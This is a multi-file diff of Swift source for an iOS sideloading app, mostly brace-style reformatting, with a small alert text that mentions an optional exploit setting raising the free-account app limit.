let installProgress = Progress.discreteProgress(totalUnitCount: 100)
let installAppOperation = RSTAsyncBlockOperation { (operation) in
let installAppOperation = RSTAsyncBlockOperation
{ operation in
do
{
if let error = context.error
@@ -861,7 +879,8 @@ private extension MyAppsViewController
guard let application = context.application else { throw OperationError.invalidParameters }
let group = AppManager.shared.install(application, presentingViewController: self) { (result) in
let group = AppManager.shared.install(application, presentingViewController: self)
{ result in
switch result
{
case .success(let installedApp): context.installedApp = installedApp
@@ -880,7 +899,8 @@ private extension MyAppsViewController
installAppOperation.completionBlock = {
try? FileManager.default.removeItem(at: temporaryDirectory)
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.navigationItem.leftBarButtonItem?.isIndicatingActivity = false
self.sideloadingProgressView.observedProgress = nil
self.sideloadingProgressView.setHidden(true, animated: true)
@@ -890,12 +910,13 @@ private extension MyAppsViewController
case .success(let app):
completion(.success(()))
app.managedObjectContext?.perform {
app.managedObjectContext?.perform
{
print("Successfully installed app:", app.bundleIdentifier)
}
case .failure(OperationError.cancelled):
completion(.failure((OperationError.cancelled)))
completion(.failure(OperationError.cancelled))
case .failure(let error):
let toastView = ToastView(error: error)
@@ -937,11 +958,17 @@ private extension MyAppsViewController
@objc func presentInactiveAppsAlert()
{
let message: String
var message: String
if UserDefaults.standard.activeAppLimitIncludesExtensions
{
message = NSLocalizedString("Non-developer Apple IDs are limited to 3 apps and app extensions. Inactive apps don't count towards your total, but cannot be opened until activated.", comment: "")
if UserDefaults.standard.enableCowExploit
{
message += "\n\n"
message += NSLocalizedString("If you've enabled the exploit in settings to remove the 3-app limit, you can install up to 10 apps and app extensions per Apple ID instead.", comment: "")
}
}
else
{
@@ -981,13 +1008,15 @@ private extension MyAppsViewController
let message = firstSentence + " " + NSLocalizedString("Would you like to remove this app's extensions so they don't count towards your limit?", comment: "")
let alertController = UIAlertController(title: NSLocalizedString("App Contains Extensions", comment: ""), message: message, preferredStyle: .alert)
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { (action) in
alertController.addAction(UIAlertAction(title: UIAlertAction.cancel.title, style: UIAlertAction.cancel.style, handler: { _ in
completion(.failure(OperationError.cancelled))
}))
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default) { (action) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Keep App Extensions", comment: ""), style: .default)
{ _ in
completion(.success(()))
})
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive) { (action) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove App Extensions", comment: ""), style: .destructive)
{ _ in
do
{
for appExtension in application.appExtensions
@@ -1011,7 +1040,8 @@ private extension MyAppsViewController
{
func open(_ installedApp: InstalledApp)
{
UIApplication.shared.open(installedApp.openAppURL) { success in
UIApplication.shared.open(installedApp.openAppURL)
{ success in
guard !success else { return }
let toastView = ToastView(error: OperationError.openAppFailed(name: installedApp.name))
@@ -1022,16 +1052,20 @@ private extension MyAppsViewController
func refresh(_ installedApp: InstalledApp)
{
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
guard previousProgress == nil else {
guard previousProgress == nil
else
{
previousProgress?.cancel()
return
}
self.refresh([installedApp]) { (results) in
self.refresh([installedApp])
{ results in
// If an error occured, reload the section so the progress bar is no longer visible.
if results.values.contains(where: { $0.error != nil })
{
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}
@@ -1047,7 +1081,8 @@ private extension MyAppsViewController
do
{
let app = try result.get()
app.managedObjectContext?.perform {
app.managedObjectContext?.perform
{
try? app.managedObjectContext?.save()
}
}
@@ -1059,7 +1094,8 @@ private extension MyAppsViewController
{
print("Failed to activate app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
installedApp.isActive = false
let toastView = ToastView(error: error)
@@ -1080,11 +1116,13 @@ private extension MyAppsViewController
.filter(\.isActive)
.map { $0.publisher(for: \.isActive) }
.collect()
.flatMap { publishers in
.flatMap
{ publishers in
Publishers.MergeMany(publishers)
}
.first { isActive in !isActive }
.sink { _ in
.sink
{ _ in
// A previously active app is now inactive,
// which means there are now enough slots to activate the app,
// so pre-emptively mark it as active to provide visual feedback sooner.
@@ -1092,9 +1130,11 @@ private extension MyAppsViewController
cancellable?.cancel()
}
AppManager.shared.deactivateApps(for: app, presentingViewController: self) { result in
AppManager.shared.deactivateApps(for: app, presentingViewController: self)
{ result in
cancellable?.cancel()
installedApp.managedObjectContext?.perform {
installedApp.managedObjectContext?.perform
{
switch result
{
case .failure(let error):
@@ -1120,7 +1160,8 @@ private extension MyAppsViewController
guard installedApp.isActive else { return }
installedApp.isActive = false
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
AppManager.shared.deactivate(installedApp, presentingViewController: self)
{ result in
do
{
let app = try result.get()
@@ -1132,7 +1173,8 @@ private extension MyAppsViewController
{
print("Failed to activate app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
installedApp.isActive = true
let toastView = ToastView(error: error)
@@ -1160,13 +1202,15 @@ private extension MyAppsViewController
let alertController = UIAlertController(title: title, message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { (action) in
AppManager.shared.remove(installedApp) { (result) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Remove", comment: ""), style: .destructive, handler: { _ in
AppManager.shared.remove(installedApp)
{ result in
switch result
{
case .success: break
case .failure(let error):
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
}
@@ -1186,8 +1230,9 @@ private extension MyAppsViewController
alertController.addAction(.cancel)
let actionTitle = String(format: NSLocalizedString("Back Up %@", comment: ""), installedApp.name)
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { (action) in
AppManager.shared.backup(installedApp, presentingViewController: self) { (result) in
alertController.addAction(UIAlertAction(title: actionTitle, style: .default, handler: { _ in
AppManager.shared.backup(installedApp, presentingViewController: self)
{ result in
do
{
let app = try result.get()
@@ -1199,7 +1244,8 @@ private extension MyAppsViewController
{
print("Failed to back up app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
@@ -1208,7 +1254,8 @@ private extension MyAppsViewController
}
}
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue, Section.inactiveApps.rawValue])
}
}))
@@ -1221,8 +1268,9 @@ private extension MyAppsViewController
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
alertController.addAction(.cancel)
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { (action) in
AppManager.shared.restore(installedApp, presentingViewController: self) { (result) in
alertController.addAction(UIAlertAction(title: NSLocalizedString("Restore Backup", comment: ""), style: .destructive, handler: { _ in
AppManager.shared.restore(installedApp, presentingViewController: self)
{ result in
do
{
let app = try result.get()
@@ -1234,14 +1282,16 @@ private extension MyAppsViewController
{
print("Failed to restore app:", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
}
}
}
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.collectionView.reloadSections([Section.activeApps.rawValue])
}
}))
@@ -1274,7 +1324,8 @@ private extension MyAppsViewController
self.activeAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
self.inactiveAppsDataSource.prefetchItemCache.removeObject(forKey: installedApp)
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
DatabaseManager.shared.persistentContainer.performBackgroundTask
{ context in
do
{
let tempApp = context.object(with: installedApp.objectID) as! InstalledApp
@@ -1298,7 +1349,8 @@ private extension MyAppsViewController
if tempApp.isActive
{
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.refresh(installedApp)
}
}
@@ -1307,7 +1359,8 @@ private extension MyAppsViewController
{
print("Failed to change app icon.", error)
DispatchQueue.main.async {
DispatchQueue.main.async
{
let toastView = ToastView(error: error)
toastView.show(in: self)
}
@@ -1318,8 +1371,10 @@ private extension MyAppsViewController
@available(iOS 14, *)
func enableJIT(for installedApp: InstalledApp)
{
AppManager.shared.enableJIT(for: installedApp) { result in
DispatchQueue.main.async {
AppManager.shared.enableJIT(for: installedApp)
{ result in
DispatchQueue.main.async
{
switch result
{
case .success: break
@@ -1336,7 +1391,8 @@ private extension MyAppsViewController
{
@objc func didFetchSource(_ notification: Notification)
{
DispatchQueue.main.async {
DispatchQueue.main.async
{
if self.updatesDataSource.fetchedResultsController.fetchedObjects == nil
{
do { try self.updatesDataSource.fetchedResultsController.performFetch() }
@@ -1354,7 +1410,8 @@ private extension MyAppsViewController
guard let url = notification.userInfo?[AppDelegate.importAppDeepLinkURLKey] as? URL else { return }
self.sideloadApp(at: url) { (result) in
self.sideloadApp(at: url)
{ _ in
guard url.isFileURL else { return }
do
@@ -1381,7 +1438,8 @@ extension MyAppsViewController
case .updates:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "UpdatesHeader", for: indexPath) as! UpdatesCollectionHeaderView
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
headerView.button.backgroundColor = UIColor.altPrimary.withAlphaComponent(0.15)
headerView.button.setTitle("", for: .normal)
headerView.button.titleLabel?.font = UIFont.boldSystemFont(ofSize: 28)
@@ -1407,7 +1465,8 @@ extension MyAppsViewController
case .activeApps where kind == UICollectionView.elementKindSectionHeader:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "ActiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right
@@ -1445,7 +1504,8 @@ extension MyAppsViewController
case .inactiveApps where kind == UICollectionView.elementKindSectionHeader:
let headerView = collectionView.dequeueReusableSupplementaryView(ofKind: UICollectionView.elementKindSectionHeader, withReuseIdentifier: "InactiveAppsHeader", for: indexPath) as! InstalledAppsCollectionHeaderView
UIView.performWithoutAnimation {
UIView.performWithoutAnimation
{
headerView.layoutMargins.left = self.view.layoutMargins.left
headerView.layoutMargins.right = self.view.layoutMargins.right
@@ -1514,50 +1574,61 @@ extension MyAppsViewController
{
var actions = [UIMenuElement]()
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app")) { (action) in
let openAction = UIAction(title: NSLocalizedString("Open", comment: ""), image: UIImage(systemName: "arrow.up.forward.app"))
{ _ in
self.open(installedApp)
}
let openMenu = UIMenu(title: "", options: .displayInline, children: [openAction])
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise")) { (action) in
let refreshAction = UIAction(title: NSLocalizedString("Refresh", comment: ""), image: UIImage(systemName: "arrow.clockwise"))
{ _ in
self.refresh(installedApp)
}
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle")) { (action) in
let activateAction = UIAction(title: NSLocalizedString("Activate", comment: ""), image: UIImage(systemName: "checkmark.circle"))
{ _ in
self.activate(installedApp)
}
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive) { (action) in
let deactivateAction = UIAction(title: NSLocalizedString("Deactivate", comment: ""), image: UIImage(systemName: "xmark.circle"), attributes: .destructive)
{ _ in
self.deactivate(installedApp)
}
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive) { (action) in
let removeAction = UIAction(title: NSLocalizedString("Remove", comment: ""), image: UIImage(systemName: "trash"), attributes: .destructive)
{ _ in
self.remove(installedApp)
}
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt")) { (action) in
let jitAction = UIAction(title: NSLocalizedString("Enable JIT", comment: ""), image: UIImage(systemName: "bolt"))
{ _ in
guard #available(iOS 14, *) else { return }
self.enableJIT(for: installedApp)
}
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc")) { (action) in
let backupAction = UIAction(title: NSLocalizedString("Back Up", comment: ""), image: UIImage(systemName: "doc.on.doc"))
{ _ in
self.backup(installedApp)
}
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc")) { (action) in
let exportBackupAction = UIAction(title: NSLocalizedString("Export Backup", comment: ""), image: UIImage(systemName: "arrow.up.doc"))
{ _ in
self.exportBackup(for: installedApp)
}
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc")) { (action) in
let restoreBackupAction = UIAction(title: NSLocalizedString("Restore Backup", comment: ""), image: UIImage(systemName: "arrow.down.doc"))
{ _ in
self.restore(installedApp)
}
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo")) { (action) in
let chooseIconAction = UIAction(title: NSLocalizedString("Photos", comment: ""), image: UIImage(systemName: "photo"))
{ _ in
self.chooseIcon(for: installedApp)
}
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive]) { (action) in
let removeIconAction = UIAction(title: NSLocalizedString("Remove Custom Icon", comment: ""), image: UIImage(systemName: "trash"), attributes: [.destructive])
{ _ in
self.changeIcon(for: installedApp, to: nil)
}
@@ -1569,7 +1640,9 @@ extension MyAppsViewController
let changeIconMenu = UIMenu(title: NSLocalizedString("Change Icon", comment: ""), image: UIImage(systemName: "photo"), children: changeIconActions)
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
else
{
#if BETA
return [refreshAction, changeIconMenu]
#else
@@ -1612,9 +1685,10 @@ extension MyAppsViewController
if let backupDirectoryURL = FileManager.default.backupDirectoryURL(for: installedApp)
{
var backupExists = false
var outError: NSError? = nil
var outError: NSError?
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError) { (backupDirectoryURL) in
self.coordinator.coordinate(readingItemAt: backupDirectoryURL, options: [.withoutChanges], error: &outError)
{ backupDirectoryURL in
#if DEBUG
backupExists = true
#else
@@ -1656,7 +1730,7 @@ extension MyAppsViewController
// Legacy sideloaded app, so can't detect if it's deleted.
actions.append(removeAction)
}
else if !UserDefaults.standard.isLegacyDeactivationSupported && !installedApp.isActive
else if !UserDefaults.standard.isLegacyDeactivationSupported, !installedApp.isActive
{
// Inactive apps are actually deleted, so we need another way
// for user to remove them from AltStore.
@@ -1677,7 +1751,8 @@ extension MyAppsViewController
case .activeApps, .inactiveApps:
let installedApp = self.dataSource.item(at: indexPath)
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil) { (suggestedActions) -> UIMenu? in
return UIContextMenuConfiguration(identifier: indexPath as NSIndexPath, previewProvider: nil)
{ _ -> UIMenu? in
let actions = self.actions(for: installedApp)
let menu = UIMenu(title: "", children: actions)
@@ -1875,7 +1950,7 @@ extension MyAppsViewController: UICollectionViewDropDelegate
let inactiveAppsHeaderAttributes = collectionView.layoutAttributesForSupplementaryElement(ofKind: UICollectionView.elementKindSectionHeader, at: IndexPath(item: 0, section: Section.inactiveApps.rawValue))
else { return UICollectionViewDropProposal(operation: .cancel) }
var dropDestinationIndexPath: IndexPath? = nil
var dropDestinationIndexPath: IndexPath?
defer
{
@@ -1888,7 +1963,8 @@ extension MyAppsViewController: UICollectionViewDropDelegate
let indexPaths = [previousIndexPath, dropDestinationIndexPath].compactMap { $0 }
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters()) {
let propertyAnimator = UIViewPropertyAnimator(springTimingParameters: UISpringTimingParameters())
{
for indexPath in indexPaths
{
// Access cell directly so we can animate it correctly.
@@ -1924,12 +2000,16 @@ extension MyAppsViewController: UICollectionViewDropDelegate
{
// Activating
guard point.y > activeAppsHeaderAttributes.frame.minY else {
guard point.y > activeAppsHeaderAttributes.frame.minY
else
{
// Above active apps section.
return UICollectionViewDropProposal(operation: .cancel)
}
guard point.y < inactiveAppsHeaderAttributes.frame.minY else {
guard point.y < inactiveAppsHeaderAttributes.frame.minY
else
{
// Inactive apps section.
return UICollectionViewDropProposal(operation: .move, intent: .insertAtDestinationIndexPath)
}
@@ -1947,13 +2027,17 @@ extension MyAppsViewController: UICollectionViewDropDelegate
// Not enough active app slots, so we need to deactivate an app.
// Provided destinationIndexPath is inaccurate.
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue else {
guard let indexPath = collectionView.indexPathForItem(at: point), indexPath.section == Section.activeApps.rawValue
else
{
// Invalid destination index path.
return UICollectionViewDropProposal(operation: .cancel)
}
let installedApp = self.dataSource.item(at: indexPath)
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID else {
guard installedApp.bundleIdentifier != StoreApp.altstoreAppID
else
{
// Can't deactivate AltStore.
return UICollectionViewDropProposal(operation: .forbidden, intent: .insertIntoDestinationIndexPath)
}
@@ -1985,8 +2069,10 @@ extension MyAppsViewController: UICollectionViewDropDelegate
installedApp.isActive = true
let previousInstalledApp = self.dataSource.item(at: destinationIndexPath)
self.deactivate(previousInstalledApp) { (result) in
installedApp.managedObjectContext?.perform {
self.deactivate(previousInstalledApp)
{ result in
installedApp.managedObjectContext?.perform
{
switch result
{
case .failure: installedApp.isActive = false
@@ -2060,7 +2146,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
switch controller.documentPickerMode
{
case .import, .open:
self.sideloadApp(at: fileURL) { (result) in
self.sideloadApp(at: fileURL)
{ result in
print("Sideloaded app at \(fileURL) with result:", result)
}
@@ -2086,7 +2173,7 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
previewingContext.sourceRect = cell.frame
let app = self.dataSource.item(at: indexPath)
guard let storeApp = app.storeApp else { return nil}
guard let storeApp = app.storeApp else { return nil }
let appViewController = AppViewController.makeAppViewController(app: storeApp)
return appViewController
@@ -2106,9 +2193,10 @@ extension MyAppsViewController: UIViewControllerPreviewingDelegate
extension MyAppsViewController: UIImagePickerControllerDelegate, UINavigationControllerDelegate
{
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey : Any])
func imagePickerController(_ picker: UIImagePickerController, didFinishPickingMediaWithInfo info: [UIImagePickerController.InfoKey: Any])
{
defer {
defer
{
picker.dismiss(animated: true, completion: nil)
self._imagePickerInstalledApp = nil
}

View File

@@ -17,7 +17,7 @@ extension UpdateCollectionViewCell
}
}
@objc class UpdateCollectionViewCell: UICollectionViewCell
@objc final class UpdateCollectionViewCell: UICollectionViewCell
{
var mode: Mode = .expanded {
didSet {

View File

@@ -8,7 +8,7 @@
import UIKit
class NewsCollectionViewCell: UICollectionViewCell
final class NewsCollectionViewCell: UICollectionViewCell
{
@IBOutlet var titleLabel: UILabel!
@IBOutlet var captionLabel: UILabel!

View File

@@ -14,7 +14,7 @@ import Roxas
import Nuke
private class AppBannerFooterView: UICollectionReusableView
private final class AppBannerFooterView: UICollectionReusableView
{
let bannerView = AppBannerView(frame: .zero)
let tapGestureRecognizer = UITapGestureRecognizer(target: nil, action: nil)
@@ -41,7 +41,7 @@ private class AppBannerFooterView: UICollectionReusableView
}
}
class NewsViewController: UICollectionViewController
final class NewsViewController: UICollectionViewController
{
private lazy var dataSource = self.makeDataSource()
private lazy var placeholderView = RSTPlaceholderView(frame: .zero)
@@ -391,7 +391,7 @@ extension NewsViewController
let progress = AppManager.shared.installationProgress(for: storeApp)
footerView.bannerView.button.progress = progress
if Date() < storeApp.versionDate
if let versionDate = storeApp.latestVersion?.date, versionDate > Date()
{
footerView.bannerView.button.countdownDate = storeApp.versionDate
}

View File

@@ -7,11 +7,11 @@
//
import Foundation
import Roxas
import Network
import Roxas
import AltStoreCore
import AltSign
import AltStoreCore
enum AuthenticationError: LocalizedError
{
@@ -22,8 +22,10 @@ enum AuthenticationError: LocalizedError
case missingPrivateKey
case missingCertificate
var errorDescription: String? {
switch self {
var errorDescription: String?
{
switch self
{
case .noTeam: return NSLocalizedString("Developer team could not be found.", comment: "")
case .teamSelectorError: return NSLocalizedString("Error presenting team selector view.", comment: "")
case .noCertificate: return NSLocalizedString("Developer certificate could not be found.", comment: "")
@@ -34,7 +36,7 @@ enum AuthenticationError: LocalizedError
}
@objc(AuthenticationOperation)
class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppleAPISession)>
final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppleAPISession)>
{
let context: AuthenticatedOperationContext
@@ -82,7 +84,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
}
// Sign In
self.signIn() { (result) in
self.signIn
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -93,7 +96,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
self.progress.completedUnitCount += 1
// Fetch Team
self.fetchTeam(for: account, session: session) { (result) in
self.fetchTeam(for: account, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -104,7 +108,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
self.progress.completedUnitCount += 1
// Fetch Certificate
self.fetchCertificate(for: team, session: session) { (result) in
self.fetchCertificate(for: team, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -115,7 +120,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
self.progress.completedUnitCount += 1
// Register Device
self.registerCurrentDevice(for: team, session: session) { (result) in
self.registerCurrentDevice(for: team, session: session)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -125,7 +131,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
self.progress.completedUnitCount += 1
// Save account/team to disk.
self.save(team) { (result) in
self.save(team)
{ result in
guard !self.isCancelled else { return self.finish(.failure(OperationError.cancelled)) }
switch result
@@ -133,7 +140,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
case .failure(let error): self.finish(.failure(error))
case .success:
// Must cache App IDs _after_ saving account/team to disk.
self.cacheAppIDs(team: team, session: session) { (result) in
self.cacheAppIDs(team: team, session: session)
{ result in
let result = result.map { _ in (team, certificate, session) }
self.finish(result)
}
@@ -152,7 +160,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
func save(_ altTeam: ALTTeam, completionHandler: @escaping (Result<Void, Error>) -> Void)
{
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
context.performAndWait {
context.performAndWait
{
do
{
let account: Account
@@ -204,7 +213,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
print("Finished authenticating with result:", result.error?.localizedDescription ?? "success")
let context = DatabaseManager.shared.persistentContainer.newBackgroundContext()
context.perform {
context.perform
{
do
{
let (altTeam, altCertificate, session) = try result.get()
@@ -241,7 +251,7 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
{
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
UserDefaults.standard.activeAppsLimit = InstalledApp.freeAccountActiveAppsLimit
}
else
{
@@ -258,14 +268,16 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
Keychain.shared.signingCertificate = altCertificate.p12Data()
Keychain.shared.signingCertificatePassword = altCertificate.machineIdentifier
self.showInstructionsIfNecessary() { (didShowInstructions) in
self.showInstructionsIfNecessary
{ _ in
let signer = ALTSigner(team: altTeam, certificate: altCertificate)
// Refresh screen must go last since a successful refresh will cause the app to quit.
self.showRefreshScreenIfNecessary(signer: signer, session: session) { (didShowRefreshAlert) in
self.showRefreshScreenIfNecessary(signer: signer, session: session)
{ _ in
super.finish(result)
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.navigationController.dismiss(animated: true, completion: nil)
}
}
@@ -275,7 +287,8 @@ class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, ALTAppl
{
super.finish(result)
DispatchQueue.main.async {
DispatchQueue.main.async
{
self.navigationController.dismiss(animated: true, completion: nil)
}
}
@@ -295,7 +308,7 @@ private extension AuthenticationOperation
{
guard presentingViewController.presentedViewController == nil else { return false }
self.navigationController.setViewControllers([viewController], animated: false)
self.navigationController.setViewControllers([viewController], animated: false)
presentingViewController.present(self.navigationController, animated: true, completion: nil)
}
else
@@ -314,14 +327,16 @@ private extension AuthenticationOperation
{
func authenticate()
{
DispatchQueue.main.async {
DispatchQueue.main.async
{
let authenticationViewController = self.storyboard.instantiateViewController(withIdentifier: "authenticationViewController") as! AuthenticationViewController
authenticationViewController.authenticationHandler = { (appleID, password, completionHandler) in
self.authenticate(appleID: appleID, password: password) { (result) in
authenticationViewController.authenticationHandler = { appleID, password, completionHandler in
self.authenticate(appleID: appleID, password: password)
{ result in
completionHandler(result)
}
}
authenticationViewController.completionHandler = { (result) in
authenticationViewController.completionHandler = { result in
if let (account, session, password) = result
{
// We presented the Auth UI and the user signed in.
@@ -346,7 +361,8 @@ private extension AuthenticationOperation
if let appleID = Keychain.shared.appleIDEmailAddress, let password = Keychain.shared.appleIDPassword
{
self.authenticate(appleID: appleID, password: password) { (result) in
self.authenticate(appleID: appleID, password: password)
{ result in
switch result
{
case .success((let account, let session)):
@@ -372,7 +388,7 @@ private extension AuthenticationOperation
self.appleIDEmailAddress = appleID
let fetchAnisetteDataOperation = FetchAnisetteDataOperation(context: self.context)
fetchAnisetteDataOperation.resultHandler = { (result) in
fetchAnisetteDataOperation.resultHandler = { result in
switch result
{
case .failure(let error): completionHandler(.failure(error))
@@ -381,10 +397,12 @@ private extension AuthenticationOperation
if let presentingViewController = self.presentingViewController
{
verificationHandler = { (completionHandler) in
DispatchQueue.main.async {
verificationHandler = { completionHandler in
DispatchQueue.main.async
{
let alertController = UIAlertController(title: NSLocalizedString("Please enter the 6-digit verification code that was sent to your Apple devices.", comment: ""), message: nil, preferredStyle: .alert)
alertController.addTextField { (textField) in
alertController.addTextField
{ textField in
textField.autocorrectionType = .no
textField.autocapitalizationType = .none
textField.keyboardType = .numberPad
@@ -392,7 +410,8 @@ private extension AuthenticationOperation
NotificationCenter.default.addObserver(self, selector: #selector(AuthenticationOperation.textFieldTextDidChange(_:)), name: UITextField.textDidChangeNotification, object: textField)
}
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default) { (action) in
let submitAction = UIAlertAction(title: NSLocalizedString("Continue", comment: ""), style: .default)
{ _ in
let textField = alertController.textFields?.first
let code = textField?.text ?? ""
@@ -402,7 +421,8 @@ private extension AuthenticationOperation
alertController.addAction(submitAction)
self.submitCodeAction = submitAction
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel) { (action) in
alertController.addAction(UIAlertAction(title: RSTSystemLocalizedString("Cancel"), style: .cancel)
{ _ in
completionHandler(nil)
})
@@ -424,7 +444,8 @@ private extension AuthenticationOperation
}
ALTAppleAPI.shared.authenticate(appleID: appleID, password: password, anisetteData: anisetteData,
verificationHandler: verificationHandler) { (account, session, error) in
verificationHandler: verificationHandler)
{ account, session, error in
if let account = account, let session = session
{
completionHandler(.success((account, session)))
@@ -443,34 +464,43 @@ private extension AuthenticationOperation
func fetchTeam(for account: ALTAccount, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTTeam, Swift.Error>) -> Void)
{
func selectTeam(from teams: [ALTTeam])
{
if teams.count <= 1 {
if let team = teams.first {
return completionHandler(.success(team))
} else {
return completionHandler(.failure(AuthenticationError.noTeam))
}
} else {
DispatchQueue.main.async {
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
{
if teams.count <= 1
{
if let team = teams.first
{
return completionHandler(.success(team))
}
else
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
else
{
DispatchQueue.main.async
{
let selectTeamViewController = self.storyboard.instantiateViewController(withIdentifier: "selectTeamViewController") as! SelectTeamViewController
selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler
selectTeamViewController.teams = teams
selectTeamViewController.completionHandler = completionHandler
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
}
}
if !self.present(selectTeamViewController)
{
return completionHandler(.failure(AuthenticationError.noTeam))
}
}
}
}
ALTAppleAPI.shared.fetchTeams(for: account, session: session) { (teams, error) in
ALTAppleAPI.shared.fetchTeams(for: account, session: session)
{ teams, error in
switch Result(teams, error)
{
case .failure(let error): completionHandler(.failure(error))
case .success(let teams):
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
